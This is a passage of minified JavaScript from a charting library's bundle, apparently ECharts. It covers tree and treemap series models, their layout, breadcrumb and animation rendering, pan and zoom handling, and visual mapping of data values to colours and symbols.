Xy(`nameValue`,{name:s,value:o,noValue:isNaN(o)||o==null})},t.prototype.getDataParams=function(t){var n=e.prototype.getDataParams.apply(this,arguments),r=this.getData().tree.getNodeByDataIndex(t);return n.treeAncestors=hL(r,this),n.collapsed=!r.isExpand,n},t.type=`series.tree`,t.layoutMode=`box`,t.defaultOption={z:2,coordinateSystemUsage:`box`,left:`12%`,top:`12%`,right:`12%`,bottom:`12%`,layout:`orthogonal`,edgeShape:`curve`,edgeForkPosition:`50%`,roam:!1,roamTrigger:`global`,nodeScaleRatio:.4,center:null,zoom:1,orient:`LR`,symbol:`emptyCircle`,symbolSize:7,expandAndCollapse:!0,initialTreeDepth:2,lineStyle:{color:Q.color.borderTint,width:1.5,curveness:.5},itemStyle:{color:`lightsteelblue`,borderWidth:1.5},label:{show:!0},animationEasing:`linear`,animationDuration:700,animationDurationUpdate:500},t}(_b);function _L(e,t,n){for(var r=[e],i=[],a;a=r.pop();)if(i.push(a),a.isExpand){var o=a.children;if(o.length)for(var s=0;s<o.length;s++)r.push(o[s])}for(;a=i.pop();)t(a,n)}function vL(e,t){for(var n=[e],r;r=n.pop();)if(t(r),r.isExpand){var i=r.children;if(i.length)for(var a=i.length-1;a>=0;a--)n.push(i[a])}}function yL(e,t){e.eachSeriesByType(`tree`,function(e){bL(e,t)})}function bL(e,t){var n=Kg(e,t).refContainer,r=Ug(e.getBoxLayoutParams(),n);e.layoutInfo=r;var i=e.get(`layout`),a=0,o=0,s=null;i===`radial`?(a=2*Math.PI,o=Math.min(r.height,r.width)/2,s=PI(function(e,t){return(e.parentNode===t.parentNode?1:2)/e.depth})):(a=r.width,o=r.height,s=PI());var c=e.getData().tree.root,l=c.children[0];if(l){jI(c),_L(l,MI,s),c.hierNode.modifier=-l.hierNode.prelim,vL(l,NI);var u=l,d=l,f=l;vL(l,function(e){var t=e.getLayout().x;t<u.getLayout().x&&(u=e),t>d.getLayout().x&&(d=e),e.depth>f.depth&&(f=e)});var p=u===d?1:s(u,d)/2,m=p-u.getLayout().x,h=0,g=0,_=0,v=0;if(i===`radial`)h=a/(d.getLayout().x+p+m),g=o/(f.depth-1||1),vL(l,function(e){_=(e.getLayout().x+m)*h,v=(e.depth-1)*g;var t=FI(_,v);e.setLayout({x:t.x,y:t.y,rawX:_,rawY:v},!0)});else{var y=e.getOrient();y===`RL`||y===`LR`?(g=o/(d.getLayout().x+p+m),h=a/(f.depth-1||1),vL(l,function(e){v=(e.getLayout().x+m)*g,_=y===`LR`?(e.depth-1)*h:a-(e.depth-1)*h,e.setLayout({x:_,y:v},!0)})):(y===`TB`||y===`BT`)&&(h=a/(d.getLayout().x+p+m),g=o/(f.depth-1||1),vL(l,function(e){_=(e.getLayout().x+m)*h,v=y===`TB`?(e.depth-1)*g:o-(e.depth-1)*g,e.setLayout({x:_,y:v},!0)}))}}}function xL(e){e.eachSeriesByType(`tree`,function(e){var t=e.getData();t.tree.eachNode(function(e){var n=e.getModel().getModel(`itemStyle`).getItemStyle();F(t.ensureUniqueItemVisual(e.dataIndex,`style`),n)})})}function SL(e){e.registerAction({type:`treeExpandAndCollapse`,event:`treeExpandAndCollapse`,update:`update`},function(e,t){t.eachComponent({mainType:`series`,subType:`tree`,query:e},function(t){var n=e.dataIndex,r=t.getData().tree.getNodeByDataIndex(n);r.isExpand=!r.isExpand})}),e.registerAction({type:`treeRoam`,event:`treeRoam`,update:`none`},function(e,t,n){t.eachComponent({mainType:`series`,subType:`tree`,query:e},function(t){var n=t.coordinateSystem,r=tF(n,e,t.get(`scaleLimit`));t.setCenter(r.center),t.setZoom(r.zoom)})})}function CL(e){e.registerChartView(GI),e.registerSeriesModel(gL),e.registerLayout(yL),e.registerVisual(xL),SL(e)}var wL=[`treemapZoomToNode`,`treemapRender`,`treemapMove`];function TL(e){for(var t=0;t<wL.length;t++)e.registerAction({type:wL[t],update:`updateView`},zt);e.registerAction({type:`treemapRootToNode`,update:`updateView`},function(e,t){t.eachComponent({mainType:`series`,subType:`treemap`,query:e},n);function n(t,n){var r=fL(e,[`treemapZoomToNode`,`treemapRootToNode`],t);if(r){var i=t.getViewRoot();i&&(e.direction=mL(i,r.node)?`rollUp`:`drillDown`),t.resetViewRoot(r.node)}}})}function EL(e){var t=e.getData().tree,n={};t.eachNode(function(t){for(var r=t;r&&r.depth>1;)r=r.parentNode;var i=N_(e.ecModel,r.name||r.dataIndex+``,n);t.setVisual(`decal`,i)})}var DL=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n.preventUsingHoverLayer=!0,n}return t.prototype.getInitialData=function(e,t){var n={name:e.name,children:e.data};OL(n);var r=e.levels||[],i=new lh({itemStyle:this.designatedVisualItemStyle={}},this,t);r=e.levels=kL(r,t);var a=R(r||[],function(e){return new lh(e,i,t)},this),o=uL.createTree(n,this,s);function s(e){e.wrapMethod(`getItemModel`,function(e,t){var n=o.getNodeByDataIndex(t);return e.parentModel=(n?a[n.depth]:null)||i,e})}return o.data},t.prototype.optionUpdated=function(){this.resetViewRoot()},t.prototype.formatTooltip=function(e,t,n){var r=this.getData(),i=this.getRawValue(e);return Xy(`nameValue`,{name:r.getName(e),value:i})},t.prototype.getDataParams=function(t){var n=e.prototype.getDataParams.apply(this,arguments);return n.treeAncestors=hL(this.getData().tree.getNodeByDataIndex(t),this),n.treePathInfo=n.treeAncestors,n},t.prototype.setLayoutInfo=function(e){this.layoutInfo=this.layoutInfo||{},F(this.layoutInfo,e)},t.prototype.mapIdToIndex=function(e){var t=this._idIndexMap;t||(t=this._idIndexMap=G(),this._idIndexMapCount=0);var n=t.get(e);return n??t.set(e,n=this._idIndexMapCount++),n},t.prototype.getViewRoot=function(){return this._viewRoot},t.prototype.resetViewRoot=function(e){e?this._viewRoot=e:e=this._viewRoot;var t=this.getRawData().tree.root;(!e||e!==t&&!t.contains(e))&&(this._viewRoot=t)},t.prototype.enableAriaDecal=function(){EL(this)},t.type=`series.treemap`,t.layoutMode=`box`,t.defaultOption={progressive:0,coordinateSystemUsage:`box`,left:Q.size.l,top:Q.size.xxxl,right:Q.size.l,bottom:Q.size.xxxl,sort:!0,clipWindow:`origin`,squareRatio:.5*(1+Math.sqrt(5)),leafDepth:null,drillDownIcon:`▶`,zoomToNodeRatio:.32*.32,scaleLimit:{max:5,min:.2},roam:!0,roamTrigger:`global`,nodeClick:`zoomToNode`,animation:!0,animationDurationUpdate:900,animationEasing:`quinticInOut`,breadcrumb:{show:!0,height:22,left:`center`,bottom:Q.size.m,emptyItemWidth:25,itemStyle:{color:Q.color.backgroundShade,textStyle:{color:Q.color.secondary}},emphasis:{itemStyle:{color:Q.color.background}}},label:{show:!0,distance:0,padding:5,position:`inside`,color:Q.color.neutral00,overflow:`truncate`},upperLabel:{show:!1,position:[0,`50%`],height:20,overflow:`truncate`,verticalAlign:`middle`},itemStyle:{color:null,colorAlpha:null,colorSaturation:null,borderWidth:0,gapWidth:0,borderColor:Q.color.neutral00,borderColorSaturation:null},emphasis:{upperLabel:{show:!0,position:[0,`50%`],overflow:`truncate`,verticalAlign:`middle`}},visualDimension:0,visualMin:null,visualMax:null,color:[],colorAlpha:null,colorSaturation:null,colorMappingBy:`index`,visibleMin:10,childrenVisibleMin:null,levels:[]},t}(_b);function OL(e){var t=0;L(e.children,function(e){OL(e);var n=e.value;B(n)&&(n=n[0]),t+=n});var n=e.value;B(n)&&(n=n[0]),(n==null||isNaN(n))&&(n=t),n<0&&(n=0),B(e.value)?e.value[0]=n:e.value=n}function kL(e,t){var n=Rs(t.get(`color`)),r=Rs(t.get([`aria`,`decal`,`decals`]));if(n){e||=[];var i,a;L(e,function(e){var t=new lh(e),n=t.get(`color`),r=t.get(`decal`);(t.get([`itemStyle`,`color`])||n&&n!==`none`)&&(i=!0),(t.get([`itemStyle`,`decal`])||r&&r!==`none`)&&(a=!0)});var o=e[0]||={};return i||(o.color=n.slice()),!a&&r&&(o.decal=r.slice()),e}}var AL=8,jL=8,ML=5,NL=function(){function e(e){this.group=new Y,e.add(this.group)}return e.prototype.render=function(e,t,n,r){var i=e.getModel(`breadcrumb`),a=this.group;if(a.removeAll(),!(!i.get(`show`)||!n)){var o=i.getModel(`itemStyle`),s=i.getModel(`emphasis`),c=o.getModel(`textStyle`),l=s.getModel([`itemStyle`,`textStyle`]),u=Kg(e,t).refContainer,d={left:i.get(`left`),right:i.get(`right`),top:i.get(`top`),bottom:i.get(`bottom`)},f={emptyItemWidth:i.get(`emptyItemWidth`),totalWidth:0,renderList:[]},p=Ug(d,u);this._prepare(n,f,c),this._renderContent(e,f,p,o,s,c,l,r),qg(a,d,u)}},e.prototype._prepare=function(e,t,n){for(var r=e;r;r=r.parentNode){var i=Qs(r.getModel().get(`name`),``),a=n.getTextRect(i),o=Math.max(a.width+AL*2,t.emptyItemWidth);t.totalWidth+=o+jL,t.renderList.push({node:r,text:i,width:o})}},e.prototype._renderContent=function(e,t,n,r,i,a,o,s){for(var c=0,l=t.emptyItemWidth,u=e.get([`breadcrumb`,`height`]),d=t.totalWidth,f=t.renderList,p=i.getModel(`itemStyle`).getItemStyle(),m=f.length-1;m>=0;m--){var h=f[m],g=h.node,_=h.width,v=h.text;d>n.width&&(d-=_-l,_=l,v=null);var y=new sp({shape:{points:PL(c,0,_,u,m===f.length-1,m===0)},style:I(r.getItemStyle(),{lineJoin:`bevel`}),textContent:new Hu({style:Bm(a,{text:v})}),textConfig:{position:`inside`},z2:10*1e4,onclick:pt(s,g)});y.disableLabelAnimation=!0,y.getTextContent().ensureState(`emphasis`).style=Bm(o,{text:v}),y.ensureState(`emphasis`).style=p,$d(y,i.get(`focus`),i.get(`blurScope`),i.get(`disabled`)),this.group.add(y),FL(y,e,g),c+=_+jL}},e.prototype.remove=function(){this.group.removeAll()},e}();function PL(e,t,n,r,i,a){var o=[[i?e:e-ML,t],[e+n,t],[e+n,t+r],[i?e:e-ML,t+r]];return!a&&o.splice(2,0,[e+n+ML,t+r/2]),!i&&o.push([e,t+r/2]),o}function FL(e,t,n){Z(e).eventData={componentType:`series`,componentSubType:`treemap`,componentIndex:t.componentIndex,seriesIndex:t.seriesIndex,seriesName:t.name,seriesType:`treemap`,selfType:`breadcrumb`,nodeData:{dataIndex:n&&n.dataIndex,name:n&&n.name},treePathInfo:n&&hL(n,t)}}var IL=function(){function e(){this._storage=[],this._elExistsMap={}}return e.prototype.add=function(e,t,n,r,i){return this._elExistsMap[e.id]?!1:(this._elExistsMap[e.id]=!0,this._storage.push({el:e,target:t,duration:n,delay:r,easing:i}),!0)},e.prototype.finished=function(e){return this._finishedCallback=e,this},e.prototype.start=function(){for(var e=this,t=this._storage.length,n=function(){t--,t<=0&&(e._storage.length=0,e._elExistsMap={},e._finishedCallback&&e._finishedCallback())},r=0,i=this._storage.length;r<i;r++){var a=this._storage[r];a.el.animateTo(a.target,{duration:a.duration,delay:a.delay,easing:a.easing,setToFinal:!0,done:n,aborted:n})}return this},e}();function LL(){return new IL}var RL=Y,zL=Lu,BL=3,VL=`label`,HL=`upperLabel`,UL=100,WL=20,GL=30,KL=Pc([[`fill`,`color`],[`stroke`,`strokeColor`],[`lineWidth`,`strokeWidth`],[`shadowBlur`],[`shadowOffsetX`],[`shadowOffsetY`],[`shadowColor`]]),qL=function(e){var t=KL(e);return t.stroke=t.fill=t.lineWidth=null,t},JL=oc(),YL=function(e){N(t,e);function t(){var n=e!==null&&e.apply(this,arguments)||this;return n.type=t.type,n._state=`ready`,n._storage=XL(),n}return t.prototype.render=function(e,t,n,r){if(!(it(t.findComponents({mainType:`series`,subType:`treemap`,query:r}),e)<0)){this.seriesModel=e,this.api=n,this.ecModel=t;var i=fL(r,[`treemapZoomToNode`,`treemapRootToNode`],e),a=r&&r.type,o=e.layoutInfo,s=!this._oldTree,c=this._storage,l=a===`treemapRootToNode`&&i&&c?{rootNodeGroup:c.nodeGroup[i.node.getRawIndex()],direction:r.direction}:null,u=this._giveContainerGroup(o),d=e.get(`animation`),f=this._doRender(u,e,l);d&&!s&&(!a||a===`treemapZoomToNode`||a===`treemapRootToNode`)?this._doAnimation(u,f,e,l):f.renderFinally(),this._resetController(n),this._renderBreadcrumb(e,n,i)}},t.prototype._giveContainerGroup=function(e){var t=this._containerGroup;return t||(t=this._containerGroup=new RL,this._initEvents(t),this.group.add(t)),t.x=e.x,t.y=e.y,t},t.prototype._doRender=function(e,t,n){var r=t.getData().tree,i=this._oldTree,a=XL(),o=XL(),s=this._storage,c=[];function l(e,r,i,l){return ZL(t,o,s,n,a,c,e,r,i,l)}p(r.root?[r.root]:[],i&&i.root?[i.root]:[],e,r===i||!i,0);var u=m(s);if(this._oldTree=r,this._storage=o,this._controllerHost){var d=this.seriesModel.layoutInfo,f=r.root.getLayout();f.width===d.width&&f.height===d.height&&(this._controllerHost.zoom=1)}return{lastsForAnimation:a,willDeleteEls:u,renderFinally:h};function p(e,t,n,r,i){r?(t=e,L(e,function(e,t){!e.isRemoved()&&o(t,t)})):new Cw(t,e,a,a).add(o).update(o).remove(pt(o,null)).execute();function a(e){return e.getId()}function o(a,o){var s=a==null?null:e[a],c=o==null?null:t[o],u=l(s,c,n,i);u&&p(s&&s.viewChildren||[],c&&c.viewChildren||[],u,r,i+1)}}function m(e){var t=XL();return e&&L(e,function(e,n){var r=t[n];L(e,function(e){e&&(r.push(e),JL(e).willDelete=!0)})}),t}function h(){L(u,function(e){L(e,function(e){e.parent&&e.parent.remove(e)})}),L(c,function(e){e.invisible=!0,e.dirty()})}},t.prototype._doAnimation=function(e,t,n,r){var i=n.get(`animationDurationUpdate`),a=n.get(`animationEasing`),o=(V(i)?0:i)||0,s=(V(a)?null:a)||`cubicOut`,c=LL();L(t.willDeleteEls,function(e,t){L(e,function(e,n){if(!e.invisible){var i=e.parent,a,l=JL(i);if(r&&r.direction===`drillDown`)a=i===r.rootNodeGroup?{shape:{x:0,y:0,width:l.nodeWidth,height:l.nodeHeight},style:{opacity:0}}:{style:{opacity:0}};else{var u=0,d=0;l.willDelete||(u=l.nodeWidth/2,d=l.nodeHeight/2),a=t===`nodeGroup`?{x:u,y:d,style:{opacity:0}}:{shape:{x:u,y:d,width:0,height:0},style:{opacity:0}}}a&&c.add(e,a,o,0,s)}})}),L(this._storage,function(e,n){L(e,function(e,r){var i=t.lastsForAnimation[n][r],a={};i&&(e instanceof Y?i.oldX!=null&&(a.x=e.x,a.y=e.y,e.x=i.oldX,e.y=i.oldY):(i.oldShape&&(a.shape=F({},e.shape),e.setShape(i.oldShape)),i.fadein?(e.setStyle(`opacity`,0),a.style={opacity:1}):e.style.opacity!==1&&(a.style={opacity:1})),c.add(e,a,o,0,s))})},this),this._state=`animating`,c.finished(z(function(){this._state=`ready`,t.renderFinally()},this)).start()},t.prototype._resetController=function(e){var t=this,n=this._controller,r=this._controllerHost;r||=(this._controllerHost={target:this.group},this._controllerHost);var i=this.seriesModel;n||(n=this._controller=new VP(e.getZr()),n.on(`pan`,z(this._onPan,this)),n.on(`zoom`,z(this._onZoom,this))),n.enable(i.get(`roam`),{api:e,zInfo:{component:i},triggerInfo:{roamTrigger:i.get(`roamTrigger`),isInSelf:function(e,n,r){var i=t._containerGroup;return i?i.getBoundingRect().contain(n-i.x,r-i.y):!1}}}),r.zoomLimit=i.get(`scaleLimit`),r.zoom=i.get(`zoom`)},t.prototype._clearController=function(){var e=this._controller;this._controllerHost=null,e&&=(e.dispose(),null)},t.prototype._onPan=function(e){if(this._state!==`animating`&&(Math.abs(e.dx)>BL||Math.abs(e.dy)>BL)){var t=this.seriesModel.getData().tree.root;if(!t)return;var n=t.getLayout();if(!n)return;this.api.dispatchAction({type:`treemapMove`,from:this.uid,seriesId:this.seriesModel.id,rootRect:{x:n.x+e.dx,y:n.y+e.dy,width:n.width,height:n.height}})}},t.prototype._onZoom=function(e){var t=e.originX,n=e.originY,r=e.scale;if(this._state!==`animating`){var i=this.seriesModel.getData().tree.root;if(!i)return;var a=i.getLayout();if(!a)return;var o=new J(a.x,a.y,a.width,a.height),s=null,c=this._controllerHost;s=c.zoomLimit;var l=c.zoom=c.zoom||1;if(l*=r,s){var u=s.min||0,d=s.max||1/0;l=Math.max(Math.min(d,l),u)}var f=l/c.zoom;c.zoom=l;var p=this.seriesModel.layoutInfo;t-=p.x,n-=p.y;var m=Bn();Wn(m,m,[-t,-n]),Kn(m,m,[f,f]),Wn(m,m,[t,n]),o.applyTransform(m),this.api.dispatchAction({type:`treemapRender`,from:this.uid,seriesId:this.seriesModel.id,rootRect:{x:o.x,y:o.y,width:o.width,height:o.height}})}},t.prototype._initEvents=function(e){var t=this;e.on(`click`,function(e){if(t._state===`ready`){var n=t.seriesModel.get(`nodeClick`,!0);if(n){var r=t.findTarget(e.offsetX,e.offsetY);if(r){var i=r.node;if(i.getLayout().isLeafRoot)t._rootToNode(r);else if(n===`zoomToNode`)t._zoomToNode(r);else if(n===`link`){var a=i.hostTree.data.getItemModel(i.dataIndex),o=a.get(`link`,!0),s=a.get(`target`,!0)||`blank`;o&&Sg(o,s)}}}}},this)},t.prototype._renderBreadcrumb=function(e,t,n){var r=this;n||(n=e.get(`leafDepth`,!0)==null?this.findTarget(t.getWidth()/2,t.getHeight()/2):{node:e.getViewRoot()},n||={node:e.getData().tree.root}),(this._breadcrumb||=new NL(this.group)).render(e,t,n.node,function(t){r._state!==`animating`&&(mL(e.getViewRoot(),t)?r._rootToNode({node:t}):r._zoomToNode({node:t}))})},t.prototype.remove=function(){this._clearController(),this._containerGroup&&this._containerGroup.removeAll(),this._storage=XL(),this._state=`ready`,this._breadcrumb&&this._breadcrumb.remove()},t.prototype.dispose=function(){this._clearController()},t.prototype._zoomToNode=function(e){this.api.dispatchAction({type:`treemapZoomToNode`,from:this.uid,seriesId:this.seriesModel.id,targetNode:e.node})},t.prototype._rootToNode=function(e){this.api.dispatchAction({type:`treemapRootToNode`,from:this.uid,seriesId:this.seriesModel.id,targetNode:e.node})},t.prototype.findTarget=function(e,t){var n;return this.seriesModel.getViewRoot().eachNode({attr:`viewChildren`,order:`preorder`},function(r){var i=this._storage.background[r.getRawIndex()];if(i){var a=i.transformCoordToLocal(e,t),o=i.shape;if(o.x<=a[0]&&a[0]<=o.x+o.width&&o.y<=a[1]&&a[1]<=o.y+o.height)n={node:r,offsetX:a[0],offsetY:a[1]};else return!1}},this),n},t.type=`treemap`,t}(Ab);function XL(){return{nodeGroup:[],background:[],content:[]}}function ZL(e,t,n,r,i,a,o,s,c,l){if(!o)return;var u=o.getLayout(),d=e.getData(),f=o.getModel();if(d.setItemGraphicEl(o.dataIndex,null),!u||!u.isInView)return;var p=u.width,m=u.height,h=u.borderWidth,g=u.invisible,_=o.getRawIndex(),v=s&&s.getRawIndex(),y=o.viewChildren,b=u.upperHeight,x=y&&y.length,S=f.getModel(`itemStyle`),C=f.getModel([`emphasis`,`itemStyle`]),w=f.getModel([`blur`,`itemStyle`]),T=f.getModel([`select`,`itemStyle`]),E=S.get(`borderRadius`)||0,D=ce(`nodeGroup`,RL);if(!D)return;if(c.add(D),D.x=u.x||0,D.y=u.y||0,D.markRedraw(),JL(D).nodeWidth=p,JL(D).nodeHeight=m,u.isAboveViewRoot)return D;var O=ce(`background`,zL,l,WL);O&&re(D,O,x&&u.upperLabelHeight);var k=f.getModel(`emphasis`),A=k.get(`focus`),j=k.get(`blurScope`),ee=k.get(`disabled`),te=A===`ancestor`?o.getAncestorsIndices():A===`descendant`?o.getDescendantIndices():A;if(x)of(D)&&af(D,!1),O&&(af(O,!ee),d.setItemGraphicEl(o.dataIndex,O),ef(O,te,j));else{var M=ce(`content`,zL,l,GL);M&&ie(D,M),O.disableMorphing=!0,O&&of(O)&&af(O,!1),af(D,!ee),d.setItemGraphicEl(o.dataIndex,D);var ne=f.getShallow(`cursor`);ne&&M.attr(`cursor`,ne),ef(D,te,j)}return D;function re(t,n,r){var i=Z(n);if(i.dataIndex=o.dataIndex,i.seriesIndex=e.seriesIndex,n.setShape({x:0,y:0,width:p,height:m,r:E}),g)ae(n);else{n.invisible=!1;var a=o.getVisual(`style`),s=a.stroke,c=qL(S);c.fill=s;var l=KL(C);l.fill=C.get(`borderColor`);var u=KL(w);u.fill=w.get(`borderColor`);var d=KL(T);if(d.fill=T.get(`borderColor`),r){var f=p-2*h;oe(n,s,a.opacity,{x:h,y:0,width:f,height:b})}else n.removeTextContent();n.setStyle(c),n.ensureState(`emphasis`).style=l,n.ensureState(`blur`).style=u,n.ensureState(`select`).style=d,jd(n)}t.add(n)}function ie(t,n){var r=Z(n);r.dataIndex=o.dataIndex,r.seriesIndex=e.seriesIndex;var i=Math.max(p-2*h,0),a=Math.max(m-2*h,0);if(n.culling=!0,n.setShape({x:h,y:h,width:i,height:a,r:E}),g)ae(n);else{n.invisible=!1;var s=o.getVisual(`style`),c=s.fill,l=qL(S);l.fill=c,l.decal=s.decal;var u=KL(C),d=KL(w),f=KL(T);oe(n,c,s.opacity,null),n.setStyle(l),n.ensureState(`emphasis`).style=u,n.ensureState(`blur`).style=d,n.ensureState(`select`).style=f,jd(n)}t.add(n)}function ae(e){!e.invisible&&a.push(e)}function oe(t,n,r,i){var a=f.getModel(i?HL:VL),s=Qs(f.get(`name`),null),c=a.getShallow(`show`);Rm(t,zm(f,i?HL:VL),{defaultText:c?s:null,inheritColor:n,defaultOpacity:r,labelFetcher:e,labelDataIndex:o.dataIndex});var l=t.getTextContent();if(l){var d=l.style,p=Et(d.padding||0);i&&(t.setTextConfig({layoutRect:i}),l.disableLabelLayout=!0),l.beforeUpdate=function(){var e=Math.max((i?i.width:t.shape.width)-p[1]-p[3],0),n=Math.max((i?i.height:t.shape.height)-p[0]-p[2],0);(d.width!==e||d.height!==n)&&l.setStyle({width:e,height:n})},d.truncateMinChar=2,d.lineOverflow=`truncate`,se(d,i,u);var m=l.getState(`emphasis`);se(m?m.style:null,i,u)}}function se(t,n,r){var i=t?t.text:null;if(!n&&r.isLeafRoot&&i!=null){var a=e.get(`drillDownIcon`,!0);t.text=a?a+` `+i:i}}function ce(e,r,a,o){var s=v!=null&&n[e][v],c=i[e];return s?(n[e][v]=null,le(c,s)):g||(s=new r,s instanceof hl&&(s.z2=QL(a,o)),ue(c,s)),t[e][_]=s}function le(e,t){var n=e[_]={};t instanceof RL?(n.oldX=t.x,n.oldY=t.y):n.oldShape=F({},t.shape)}function ue(e,t){var n=e[_]={},a=o.parentNode,s=t instanceof Y;if(a&&(!r||r.direction===`drillDown`)){var c=0,l=0,u=i.background[a.getRawIndex()];!r&&u&&u.oldShape&&(c=u.oldShape.width,l=u.oldShape.height),s?(n.oldX=0,n.oldY=l):n.oldShape={x:c,y:l,width:0,height:0}}n.fadein=!s}}function QL(e,t){return e*UL+t}var $L=L,eR=U,tR=-1,nR=function(){function e(t){var n=t.mappingMethod,r=t.type,i=this.option=P(t);this.type=r,this.mappingMethod=n,this._normalizeData=mR[n];var a=e.visualHandlers[r];this.applyVisual=a.applyVisual,this.getColorMapper=a.getColorMapper,this._normalizedToVisual=a._normalizedToVisual[n],n===`piecewise`?(aR(i),rR(i)):n===`category`?i.categories?iR(i):aR(i,!0):(Dt(n!==`linear`||i.dataExtent),aR(i))}return e.prototype.mapValueToVisual=function(e){var t=this._normalizeData(e);return this._normalizedToVisual(t,e)},e.prototype.getNormalizer=function(){return z(this._normalizeData,this)},e.listVisualTypes=function(){return dt(e.visualHandlers)},e.isValidType=function(t){return e.visualHandlers.hasOwnProperty(t)},e.eachVisual=function(e,t,n){U(e)?L(e,t,n):t.call(n,e)},e.mapVisual=function(t,n,r){var i,a=B(t)?[]:U(t)?{}:(i=!0,null);return e.eachVisual(t,function(e,t){var o=n.call(r,e,t);i?a=o:a[t]=o}),a},e.retrieveVisuals=function(t){var n={},r;return t&&$L(e.visualHandlers,function(e,i){t.hasOwnProperty(i)&&(n[i]=t[i],r=!0)}),r?n:null},e.prepareVisualTypes=function(e){if(B(e))e=e.slice();else if(eR(e)){var t=[];$L(e,function(e,n){t.push(n)}),e=t}else return[];return e.sort(function(e,t){return t===`color`&&e!==`color`&&e.indexOf(`color`)===0?1:-1}),e},e.dependsOn=function(e,t){return t===`color`?!!(e&&e.indexOf(t)===0):e===t},e.findPieceIndex=function(e,t,n){for(var r,i=1/0,a=0,o=t.length;a<o;a++){var s=t[a].value;if(s!=null){if(s===e||H(s)&&s===e+``)return a;n&&d(s,a)}}for(var a=0,o=t.length;a<o;a++){var c=t[a],l=c.interval,u=c.close;if(l){if(l[0]===-1/0){if(hR(u[1],e,l[1]))return a}else if(l[1]===1/0){if(hR(u[0],l[0],e))return a}else if(hR(u[0],l[0],e)&&hR(u[1],e,l[1]))return a;n&&d(l[0],a),n&&d(l[1],a)}}if(n)return e===1/0?t.length-1:e===-1/0?0:r;function d(t,n){var a=Math.abs(t-e);a<i&&(i=a,r=n)}},e.visualHandlers={color:{applyVisual:cR(`color`),getColorMapper:function(){var e=this.option;return z(e.mappingMethod===`category`?function(e,t){return!t&&(e=this._normalizeData(e)),lR.call(this,e)}:function(t,n,r){var i=!!r;return!n&&(t=this._normalizeData(t)),r=Ni(t,e.parsedVisual,r),i?r:Li(r,`rgba`)},this)},_normalizedToVisual:{linear:function(e){return Li(Ni(e,this.option.parsedVisual),`rgba`)},category:lR,piecewise:function(e,t){var n=fR.call(this,t);return n??=Li(Ni(e,this.option.parsedVisual),`rgba`),n},fixed:uR}},colorHue:oR(function(e,t){return Fi(e,t)}),colorSaturation:oR(function(e,t){return Fi(e,null,t)}),colorLightness:oR(function(e,t){return Fi(e,null,null,t)}),colorAlpha:oR(function(e,t){return Ii(e,t)}),decal:{applyVisual:cR(`decal`),_normalizedToVisual:{linear:null,category:lR,piecewise:null,fixed:null}},opacity:{applyVisual:cR(`opacity`),_normalizedToVisual:dR([0,1])},liftZ:{applyVisual:cR(`liftZ`),_normalizedToVisual:{linear:uR,category:uR,piecewise:uR,fixed:uR}},symbol:{applyVisual:function(e,t,n){n(`symbol`,this.mapValueToVisual(e))},_normalizedToVisual:{linear:sR,category:lR,piecewise:function(e,t){var n=fR.call(this,t);return n??=sR.call(this,e),n},fixed:uR}},symbolSize:{applyVisual:cR(`symbolSize`),_normalizedToVisual:dR([0,1])}},e}();function rR(e){var t=e.pieceList;e.hasSpecialVisual=!1,L(t,function(t,n){t.originIndex=n,t.visual!=null&&(e.hasSpecialVisual=!0)})}function iR(e){var t=e.categories,n=e.categoryMap={},r=e.visual;if($L(t,function(e,t){n[e]=t}),!B(r)){var i=[];U(r)?$L(r,function(e,t){var r=n[t];i[r??tR]=e}):i[tR]=r,r=pR(e,i)}for(var a=t.length-1;a>=0;a--)r[a]??(delete n[t[a]],t.pop())}function aR(e,t){var n=e.visual,r=[];U(n)?$L(n,function(e){r.push(e)}):n!=null&&r.push(n),!t&&r.length===1&&!{color:1,symbol:1}.hasOwnProperty(e.type)&&(r[1]=r[0]),pR(e,r)}function oR(e){return{applyVisual:function(t,n,r){var i=this.mapValueToVisual(t);r(`color`,e(n(`color`),i))},_normalizedToVisual:dR([0,1])}}function sR(e){var t=this.option.visual;return t[Math.round(as(e,[0,1],[0,t.length-1],!0))]||{}}function cR(e){return function(t,n,r){r(e,this.mapValueToVisual(t))}}function lR(e){var t=this.option.visual;return t[this.option.loop&&e!==tR?e%t.length:e]}function uR(){return this.option.visual[0]}function dR(e){return{linear:function(t){return as(t,e,this.option.visual,!0)},category:lR,piecewise:function(t,n){var r=fR.call(this,n);return r??=as(t,e,this.option.visual,!0),r},fixed:uR}}function fR(e){var t=this.option,n=t.pieceList;if(t.hasSpecialVisual){var r=n[nR.findPieceIndex(e,n)];if(r&&r.visual)return r.visual[this.type]}}function pR(e,t){return e.visual=t,e.type===`color`&&(e.parsedVisual=R(t,function(e){return ki(e)||[0,0,0,1]})),t}var mR={linear:function(e){return as(e,this.option.dataExtent,[0,1],!0)},piecewise:function(e){var t=this.option.pieceList,n=nR.findPieceIndex(e,t,!0);if(n!=null)return as(n,[0,t.length-1],[0,1],!0)},category:function(e){return(this.option.categories?this.option.categoryMap[e]:e)??tR},fixed:zt};function hR(e,t,n){return e?t<=n:t<n}var gR=`itemStyle`,_R=oc(),vR={seriesType:`treemap`,reset:function(e){var t=e.getData().tree.root;t.isRemoved()||yR(t,{},e.getViewRoot().getAncestors(),e)}};function yR(e,t,n,r){var i=e.getModel(),a=e.getLayout(),o=e.hostTree.data;if(!(!a||a.invisible||!a.isInView)){var s=i.getModel(gR),c=bR(s,t,r),l=o.ensureUniqueItemVisual(e.dataIndex,`style`),u=s.get(`borderColor`),d=s.get(`borderColorSaturation`),f;d!=null&&(f=xR(c),u=SR(d,f)),l.stroke=u;var p=e.viewChildren;if(!p||!p.length)f=xR(c),l.fill=f;else{var m=wR(e,i,a,s,c,p);L(p,function(e,t){(e.depth>=n.length||e===n[e.depth])&&yR(e,ER(i,c,e,t,m,r),n,r)})}}}function bR(e,t,n){var r=F({},t),i=n.designatedVisualItemStyle;return L([`color`,`colorAlpha`,`colorSaturation`],function(n){i[n]=t[n];var a=e.get(n);i[n]=null,a!=null&&(r[n]=a)}),r}function xR(e){var t=CR(e,`color`);if(t){var n=CR(e,`colorAlpha`),r=CR(e,`colorSaturation`);return r&&(t=Fi(t,null,null,r)),n&&(t=Ii(t,n)),t}}function SR(e,t){return t==null?null:Fi(t,null,null,e)}function CR(e,t){var n=e[t];if(n!=null&&n!==`none`)return n}function wR(e,t,n,r,i,a){if(!(!a||!a.length)){var o=TR(t,`color`)||i.color!=null&&i.color!==`none`&&(TR(t,`colorAlpha`)||TR(t,`colorSaturation`));if(o){var 